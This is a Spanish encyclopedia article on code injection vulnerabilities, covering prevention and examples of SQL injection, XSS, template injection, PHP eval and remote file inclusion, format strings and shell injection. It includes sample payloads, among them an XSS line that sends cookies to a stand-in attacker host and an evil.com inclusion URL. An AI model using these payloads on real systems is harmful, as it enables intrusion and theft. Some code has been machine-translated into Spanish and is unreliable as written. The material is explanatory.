Inyección de código

Explosión de errores informáticos causados ​​por datos no válidos

Las inyecciones de código son una clase de vulnerabilidades de seguridad informática en las que un programa informático vulnerable malinterpreta datos externos (normalmente, datos introducidos por el usuario) como parte de su código. De este modo, un atacante "inyecta" código en el programa, modificando el curso de su ejecución . El resultado de una inyección de código exitosa puede tener consecuencias importantes, por ejemplo, al permitir la propagación de virus o gusanos informáticos .

Las vulnerabilidades de inyección de código ocurren cuando una aplicación envía datos no confiables a un intérprete . Las fallas de inyección se encuentran a menudo en SQL , LDAP , XPath , consultas NoSQL , comandos del sistema operativo , analizadores XML , encabezados SMTP , argumentos de programas, etc. Las fallas de inyección son más fáciles de descubrir al examinar el código fuente que al realizar pruebas. [1] El análisis estático y los fuzzers pueden ayudar a encontrar fallas de inyección. [2]

Las inyecciones de código pueden provocar pérdida o corrupción de datos , falta de responsabilidad, denegación de acceso y, en algunos casos, toma de control total del host.

Ciertos tipos de inyección de código son errores de interpretación que otorgan un significado especial a la entrada del usuario. Existen errores de interpretación similares fuera del ámbito de la informática, como en el número cómico " ¿Quién es el primero? " . En algunos tipos de inyección de código, no se distingue entre la entrada del usuario y los comandos del sistema.

Las técnicas de inyección de código son populares en el hackeo o descifrado de sistemas para obtener información, así como para la escalada de privilegios o el acceso no autorizado a un sistema. La inyección de código se puede utilizar de forma maliciosa con muchos fines, entre ellos:

Las inyecciones de código que atacan la Internet de las cosas también podrían tener consecuencias graves, como violaciones de datos e interrupciones del servicio. [3]

En 2008, el 5,66% de todas las vulnerabilidades denunciadas ese año se clasificaron como inyección de código, el porcentaje más alto registrado. En 2015, esta cifra había disminuido al 0,77%. [4]

Uso benigno y no intencional

La inyección de código puede realizarse con buenas intenciones; por ejemplo, cambiar o modificar el comportamiento de un programa o sistema a través de la inyección de código puede hacer que el sistema se comporte de una determinada manera sin ninguna intención maliciosa. [5] [6] La inyección de código podría, por ejemplo:

  • Introduzca una nueva columna útil que no aparecía en el diseño original de una página de resultados de búsqueda.
  • Ofrecer una nueva forma de filtrar, ordenar o agrupar datos mediante el uso de un campo no expuesto en las funciones predeterminadas del diseño original.
  • En cuanto a programas como Dropbox , agregue partes especiales que puedan usarse para conectarse a recursos en línea en un programa fuera de línea.
  • Utilice el enlazador dinámico en Linux para definir una función con el mismo nombre que ciertas funciones Libc , vincular esa función como una biblioteca y anular el uso de la función Libc. [7]

Algunos usuarios pueden realizar inyecciones de código sin darse cuenta porque la información que proporcionaron a un programa no fue considerada por quienes desarrollaron originalmente el sistema. Por ejemplo:

  • Lo que el usuario puede considerar como una entrada válida puede contener caracteres simbólicos o cadenas de caracteres que el desarrollador ha reservado para que tengan un significado especial (quizás el "&" en "Shannon & Jason", o comillas como en "Bub 'Slugger' McCracken").
  • El usuario puede enviar un archivo malformado como entrada que se maneja correctamente en una aplicación, pero es tóxico para el sistema receptor.

Otro uso benigno de la inyección de código es el descubrimiento de fallos de inyección en sí, con la intención de encontrar y corregir vulnerabilidades. Esto se conoce como prueba de penetración de sombrero blanco .

Prevención de la inyección de código

Para evitar problemas de inyección de código, utilice estrategias de manejo de entrada y salida seguras, como:

  • Utilizar una interfaz de programación de aplicaciones (API) que, si se utiliza correctamente, es segura frente a todos los caracteres de entrada. Las consultas parametrizadas (también conocidas como "consultas compiladas", "declaraciones preparadas", "variables enlazadas") permiten sacar los datos del usuario de una cadena para su interpretación. Además, Criteria API [8] y otras API similares se alejan del concepto de cadenas de comandos que se deben crear e interpretar.
  • Imposición de la separación de idiomas a través de un sistema de tipos estáticos . [9]
  • Validar o "sanear" la entrada, como incluir en la lista blanca valores conocidos como válidos. Esto se puede hacer en el lado del cliente, que es propenso a modificaciones por parte de usuarios malintencionados, o en el lado del servidor, que es más seguro.
  • Codificación de la entrada, por ejemplo, el escape de caracteres peligrosos. Por ejemplo, en PHP, se utiliza la htmlspecialchars()función para escapar caracteres especiales para una salida segura de texto en HTML y la mysqli::real_escape_string()función para aislar datos que se incluirán en una solicitud SQL , para protegerse contra la inyección SQL .
  • Codificación de salida, es decir, prevención de ataques de inyección HTML (XSS) contra los visitantes del sitio web.
  • Uso de la HttpOnlybandera para cookies HTTP . Cuando se configura, esta bandera no permite la interacción del script del lado del cliente con las cookies, lo que evita ciertos ataques XSS . [10]
  • Disociación del shell modular del núcleo
  • Con la inyección SQL , se pueden utilizar consultas parametrizadas , procedimientos almacenados , validación de entrada de lista blanca y más para ayudar a mitigar los problemas de inyección de código. [11]

Las soluciones mencionadas anteriormente se ocupan principalmente de la inyección basada en la Web de código HTML o de script en una aplicación del lado del servidor. Sin embargo, se deben adoptar otros enfoques cuando se trata de la inyección de código de usuario en la máquina del usuario, lo que da lugar a ataques de elevación de privilegios. Algunos enfoques que se utilizan para detectar y aislar inyecciones de código administradas y no administradas son:

  • Validación de hash de imagen en tiempo de ejecución : captura un hash de una imagen parcial o completa del ejecutable cargado en la memoria y compáralo con el hash almacenado y esperado.
  • Bit NX : todos los datos del usuario se almacenan en secciones especiales de la memoria que están marcadas como no ejecutables. El procesador se da cuenta de que no existe código en esa parte de la memoria y se niega a ejecutar nada que se encuentre allí.
  • Canarios : coloca valores aleatoriamente en una pila. En tiempo de ejecución, se comprueba un canario cuando una función retorna. Si se ha modificado un canario, el programa detiene la ejecución y sale. Esto ocurre en un ataque de desbordamiento de pila .
  • [En C ] Enmascaramiento de puntero de código (CPM): después de cargar un puntero de código (potencialmente modificado) en un registro, se aplica una máscara de bits al puntero. Esto restringe de manera efectiva las direcciones a las que puede hacer referencia el puntero. [12]

Ejemplos

Inyección SQL

Una inyección SQL aprovecha la sintaxis SQL para inyectar comandos maliciosos que pueden leer o modificar una base de datos o comprometer el significado de la consulta original. [13]

Por ejemplo, considere una página web que tiene dos campos para permitir que los usuarios ingresen un nombre de usuario y una contraseña. El código detrás de la página generará una consulta SQL para comparar la contraseña con la lista de nombres de usuario:

SELECCIONAR UserList . Nombre de usuario FROM UserList WHERE UserList . Nombre de usuario = 'Nombre de usuario' AND UserList . Contraseña = 'Contraseña'        

Si esta consulta devuelve alguna fila, se concede el acceso. Sin embargo, si el usuario malintencionado introduce un nombre de usuario válido e introduce un código válido ( password' OR '1'='1) en el campo Contraseña, la consulta resultante tendrá el siguiente aspecto:

SELECCIONAR UserList . Nombre de usuario FROM UserList WHERE UserList . Nombre de usuario = 'Nombre de usuario' AND UserList . Contraseña = 'Contraseña' OR '1' = '1'          

En el ejemplo anterior, se supone que "Contraseña" está en blanco o alguna cadena inocua. " '1'='1'" siempre será verdadero y se devolverán muchas filas, lo que permitirá el acceso.

La técnica se puede perfeccionar para permitir la ejecución de múltiples sentencias o incluso para cargar y ejecutar programas externos.

Supongamos una consulta con el siguiente formato:

SELECCIONAR Usuario . UserID DE Usuario DONDE Usuario . UserID = ' " + UserID + " ' Y Usuario . Pwd = ' " + Password + " '        

Si un adversario tiene lo siguiente como entradas:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

La consulta se analizará como:

SELECCIONAR Usuario . UserID DE Usuario DONDE Usuario . UserID = '' ; DROP TABLE Usuario ; --'AND Contraseña = ''O"= '        

El resultado es que la tabla Userse eliminará de la base de datos. Esto ocurre porque el ;símbolo significa el final de un comando y el comienzo de uno nuevo. --significa el comienzo de un comentario.

Scripting entre sitios

La inyección de código es la inyección o introducción maliciosa de código en una aplicación. Algunos servidores web tienen un script de libro de visitas , que acepta pequeños mensajes de los usuarios y, por lo general, recibe mensajes como:

¡Muy lindo sitio!

Sin embargo, una persona malintencionada puede conocer una vulnerabilidad de inyección de código en el libro de visitas y escribir un mensaje como el siguiente:

Buen sitio, creo que lo aprovecharé. < script > window . location = "https://some_attacker/evilcgi/cookie.cgi?steal=" + escape ( document . cookie )</ script >  

Si otro usuario ve la página, se ejecutará el código inyectado. Este código puede permitir al atacante hacerse pasar por otro usuario. Sin embargo, este mismo error de software puede ser activado accidentalmente por un usuario desprevenido, lo que hará que el sitio web muestre un código HTML incorrecto.

La inyección de HTML y secuencias de comandos es un tema popular, comúnmente denominado " cross-site scripting " o "XSS". XSS se refiere a un error de inyección por el cual la entrada del usuario en una secuencia de comandos web o algo similar se coloca en el HTML de salida, sin que se verifique si contiene código HTML o secuencias de comandos.

Muchos de estos problemas están relacionados con suposiciones erróneas sobre qué datos de entrada son posibles o los efectos de datos especiales. [14]

Inyección de plantilla del lado del servidor

Los motores de plantillas se utilizan a menudo en las aplicaciones web modernas para mostrar datos dinámicos. Sin embargo, confiar en datos de usuario no validados puede conducir con frecuencia a vulnerabilidades críticas [15] como las inyecciones de plantillas del lado del servidor. Si bien esta vulnerabilidad es similar a la de los scripts entre sitios , la inyección de plantillas se puede aprovechar para ejecutar código en el servidor web en lugar de en el navegador de un visitante. Abusa de un flujo de trabajo común de las aplicaciones web que a menudo utilizan entradas de usuario y plantillas para representar una página web. El siguiente ejemplo muestra el concepto. Aquí la plantilla {{visitor_name}}se reemplaza con datos durante el proceso de representación.

Hola {{visitor_name}}

Un atacante puede usar este flujo de trabajo para inyectar código en el flujo de procesamiento proporcionando un código malicioso visitor_name. Según la implementación de la aplicación web, podría optar por inyectar el código {{7*'7'}}que el renderizador podría resolver Hello 7777777. Tenga en cuenta que el servidor web real ha evaluado el código malicioso y, por lo tanto, podría ser vulnerable a la ejecución remota de código .

Vulnerabilidades de evaluación dinámica

Una vulnerabilidad de inyección ocurre cuando un atacante puede controlar toda o parte de una cadena de entrada que se introduce en una llamada de función . [16]eval()eval()

$myvar  =  'algúnvalor' ; $x  =  $_GET [ 'arg' ]; eval ( '$myvar = '  .  $x  .  ';' );

El argumento de " eval" se procesará como PHP , por lo que se pueden agregar comandos adicionales. Por ejemplo, si "arg" se establece en " ", se ejecuta código adicional que ejecuta un programa en el servidor, en este caso " ".10; system('/bin/echo uh-oh')/bin/echo

Inyección de objetos

PHP permite la serialización y deserialización de objetos completos . Si se permite la entrada de datos no confiables en la función de deserialización, es posible sobrescribir clases existentes en el programa y ejecutar ataques maliciosos. [17] Un ataque de este tipo en Joomla se encontró en 2013. [18]

Inyección remota de archivos

Considere este programa PHP (que incluye un archivo especificado por solicitud):

<?php $color  =  'azul' ; si  ( se establece ( $_GET [ 'color' ]))  $color  =  $_GET [ 'color' ]; requerir ( $color  .  '.php' );

El ejemplo espera que se proporcione un color, mientras que los atacantes podrían proporcionarlo, COLOR=http://evil.com/exploitlo que provocaría que PHP cargara el archivo remoto.

Inyección de especificador de formato

Los errores de formato de cadena aparecen con mayor frecuencia cuando un programador desea imprimir una cadena que contiene datos proporcionados por el usuario. El programador puede escribir por error printf(buffer)en lugar de printf("%s", buffer). La primera versión interpreta buffercomo una cadena de formato y analiza las instrucciones de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como lo pretendía el programador. Considere el siguiente programa C corto que tiene una variable local array password de caracteres que contiene una contraseña; el programa le pide al usuario un entero y una cadena, luego repite la cadena proporcionada por el usuario.

 char usuario_entrada [ 100 ]; int int_en ; char contraseña [ 10 ] = "Contraseña1" ;        printf ( "Ingrese un entero \n " ); scanf ( "%d" , & int_in ); printf ( "Ingrese una cadena \n " ); fgets ( user_input , sizeof ( user_input ), stdin );       printf ( user_input ); // La versión segura es: printf("%s", user_input); printf ( " \n " );   devuelve 0 ; 

Si la entrada del usuario se completa con una lista de especificadores de formato como %s%s%s%s%s%s%s%s, entonces printf()comenzará a leer desde la pila . Finalmente, uno de los %sespecificadores de formato accederá a la dirección de password, que está en la pila, y la imprimirá Password1en la pantalla.

Inyección de concha

La inyección de shell (o inyección de comandos [19] ) recibe su nombre de los shells de Unix , pero se aplica a la mayoría de los sistemas que permiten que el software ejecute una línea de comandos de forma programada. A continuación, se muestra un ejemplo de script tcsh vulnerable :

# !/bin/tcsh # check arg muestra si coincide si arg es uno if  ( $1  == 1 )  echo si coincide

Si lo anterior se almacena en el archivo ejecutable ./check, el comando de shell ./check " 1 ) evil"intentará ejecutar el comando de shell inyectado evilen lugar de comparar el argumento con la constante. Aquí, el código que está siendo atacado es el código que está intentando comprobar el parámetro, el mismo código que podría haber estado intentando validar el parámetro para defenderse de un ataque. [20]

Cualquier función que se pueda utilizar para componer y ejecutar un comando de shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre ellas se encuentran system(), StartProcess() y System.Diagnostics.Process.Start().

Los sistemas cliente-servidor, como la interacción de un navegador web con un servidor web, son potencialmente vulnerables a la inyección de shell. Considere el siguiente programa PHP breve que puede ejecutarse en un servidor web para ejecutar un programa externo llamado funnytexta reemplazar una palabra que el usuario envió con otra palabra.

<?php passthru ( "/bin/funnytext "  .  $_GET [ 'USER_INPUT' ]);

El passthrucódigo anterior compone un comando de shell que luego ejecuta el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos de shell maliciosos. Se puede inyectar código en este programa de varias maneras explotando la sintaxis de varias características del shell (esta lista no es exhaustiva): [21]

Función de conchaUSER_INPUTvalorComando de shell resultanteExplicación
Ejecución secuencial; malicious_command/bin/funnytext ; malicious_commandEjecuta funnytext, luego ejecuta malicious_command.
Tuberías| malicious_command/bin/funnytext | malicious_commandEnvía la salida de funnytextcomo entrada a malicious_command.
Sustitución de comandos`malicious_command`/bin/funnytext `malicious_command`Envía la salida de malicious_commandcomo argumentos a funnytext.
Sustitución de comandos$(malicious_command)/bin/funnytext $(malicious_command)Envía la salida de malicious_commandcomo argumentos a funnytext.
Y lista&& malicious_command/bin/funnytext && malicious_commandSe ejecuta malicious_command solo si y solo si funnytext devuelve un estado de salida de 0 (éxito).
Lista O|| malicious_command/bin/funnytext || malicious_commandSe ejecuta malicious_command solo si y solo si funnytext devuelve un estado de salida distinto de cero (error).
Redirección de salida> ~/.bashrc/bin/funnytext > ~/.bashrcSobrescribe el contenido del .bashrcarchivo con la salida de funnytext.
Redirección de entrada< ~/.bashrc/bin/funnytext < ~/.bashrcEnvía el contenido del .bashrcarchivo como entrada a funnytext.

Algunos lenguajes ofrecen funciones para escapar o entrecomillar adecuadamente cadenas que se utilizan para construir comandos de shell:

  • PHP: escapeshellarg()yescapeshellcmd()
  • Pitón :shlex.quote()

Sin embargo, esto sigue imponiendo a los programadores la carga de conocer/aprender acerca de estas funciones y recordar utilizarlas cada vez que utilicen comandos de shell. Además de utilizar estas funciones, también se recomienda validar o depurar la entrada del usuario.

Una alternativa más segura es utilizar API que ejecuten programas externos directamente, en lugar de hacerlo a través de un shell, lo que evita la posibilidad de inyección de shell. Sin embargo, estas API tienden a no admitir varias características convenientes de los shells y/o a ser más engorrosas/detalladas en comparación con la sintaxis concisa de los shells.

Véase también

Referencias

  1. ^ "Las 10 principales vulnerabilidades de seguridad de las aplicaciones web". Penn Computing . Universidad de Pensilvania. Archivado desde el original el 24 de febrero de 2018 . Consultado el 10 de diciembre de 2016 .
  2. ^ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Archivado desde el original el 28 de enero de 2016. Consultado el 19 de diciembre de 2013 .
  3. ^ Noman, Haitham Ameen; Abu-Sharkh, Osama MF (enero de 2023). "Ataques de inyección de código en la Internet de las cosas (IoT) inalámbrica: una revisión exhaustiva e implementaciones prácticas". Sensores . 23 (13): 6067. Bibcode :2023Senso..23.6067N. doi : 10.3390/s23136067 . ISSN  1424-8220. PMC 10346793 . PMID  37447915. 
  4. ^ "NVD - Búsqueda de estadísticas". web.nvd.nist.gov . Archivado desde el original el 15 de diciembre de 2023 . Consultado el 9 de diciembre de 2016 .
  5. ^ Srinivasan, Raghunathan. "Hacia detectores de virus más eficaces" (PDF) . Universidad Estatal de Arizona . Archivado desde el original (PDF) el 29 de julio de 2010. Consultado el 18 de septiembre de 2010. El uso benévolo de la inyección de código se produce cuando un usuario cambia el comportamiento de un programa para cumplir con los requisitos del sistema.
  6. ^ Morales, Jose Andre; Kartaltepe, Erhan; ​​Xu, Shouhuai; Sandhu, Ravi (2010). "Detección basada en síntomas de procesos de bots". Seguridad de redes informáticas . Apuntes de clase en informática. Vol. 6258. Berlín, Heidelberg: Springer. págs. 229–241. CiteSeerX 10.1.1.185.2152 . doi :10.1007/978-3-642-14706-7_18. ISBN .  978-3-642-14705-0. ISSN  0302-9743.
  7. ^ "Trucos de enlazadores dinámicos: uso de LD_PRELOAD para hacer trampas, inyectar funciones e investigar programas". Blog de Rafał Cieślak . 2 de abril de 2013. Archivado desde el original el 25 de diciembre de 2021. Consultado el 10 de diciembre de 2016 .
  8. ^ "El tutorial de Java EE 6: Capítulo 35 Uso de la API Criteria para crear consultas". Oracle. Archivado desde el original el 11 de noviembre de 2013. Consultado el 19 de diciembre de 2013 .
  9. ^ Moertel, Tom (18 de octubre de 2006). "Una solución basada en tipos para el "problema de las cadenas": ¿un final adecuado para los agujeros de inyección de SQL y XSS?". Blog de Tom Moertel . Archivado desde el original el 6 de agosto de 2013. Consultado el 21 de octubre de 2018 .
  10. ^ "HttpOnly". OWASP . 12 de noviembre de 2014. Archivado desde el original el 26 de diciembre de 2008 . Consultado el 10 de diciembre de 2016 .
  11. ^ "Hoja de trucos para la prevención de la inyección SQL". OWASP . Archivado desde el original el 20 de enero de 2012 . Consultado el 10 de diciembre de 2016 .
  12. ^ Philippaerts, Pieter; et al. (1 de junio de 2013). "CPM: enmascaramiento de punteros de código para prevenir ataques de inyección de código" (PDF) . ACM Transactions on Information and System Security . 16 (1): 1–27. doi :10.1145/2487222.2487223. ISSN  1094-9224. S2CID  10947780. Archivado (PDF) del original el 24 de febrero de 2021 . Consultado el 21 de octubre de 2018 .
  13. ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 de marzo de 2021). "Memoria a corto plazo larga en árbol de sintaxis abstracta para detección de inyección SQL". IET Software . 15 (2): 188–197. doi :10.1049/sfw2.12018. ISSN  1751-8806. S2CID  233582569.
  14. ^ Hope, Brian; Hope, Paco; Walther, Ben (15 de mayo de 2009). Web Security Testing Cookbook . Sebastopol, CA: O'Reilly Media . p. 254. ISBN 978-0-596-51483-9.OCLC 297573828  .
  15. ^ "Inyección de plantilla del lado del servidor". PortSwigger Research . 5 de agosto de 2015. Archivado desde el original el 22 de mayo de 2022. Consultado el 22 de mayo de 2022 .
  16. ^ Steven M. Christey (3 de mayo de 2006). «Vulnerabilidades de evaluación dinámica en aplicaciones PHP». Full Disclosure (lista de correo). Archivado desde el original el 13 de noviembre de 2009. Consultado el 21 de octubre de 2018 .
  17. ^ "Advertencias sobre la función de anulación de serialización". PHP.net. Archivado desde el original el 9 de mayo de 2015. Consultado el 6 de junio de 2014 .
  18. ^ "Análisis de la vulnerabilidad de inyección de objetos PHP en Joomla". Archivado desde el original el 2 de marzo de 2013 . Consultado el 6 de junio de 2014 .
  19. ^ "Inyección de comandos". OWASP. Archivado desde el original el 20 de diciembre de 2013. Consultado el 19 de diciembre de 2013 .
  20. ^ Douglas W. Jones, CS:3620 Notas, lección 4: scripts de shell Archivado el 24 de septiembre de 2024 en Wayback Machine , primavera de 2018.
  21. ^ "Inyección de comandos - Biblioteca Black Hat". Archivado desde el original el 27 de febrero de 2015 . Consultado el 27 de febrero de 2015 .
  • Artículo "Defensa contra ataques de inyección mediante la evaluación de cadenas sensible al contexto (CSSE)" de Tadeusz Pietraszek y Chris Vanden Berghe
  • Artículo de noticias "Flux se propaga con mayor rapidez": el primer troyano que utiliza la inyección de código para evitar ser detectado por un firewall
  • El Daily WTF informa periódicamente sobre incidencias reales [ ¿se escribe así? ] de susceptibilidad a la inyección de código en el software.
Obtenido de "https://es.wikipedia.org/w/index.php?title=Inyección_de_código&oldid=1252596623"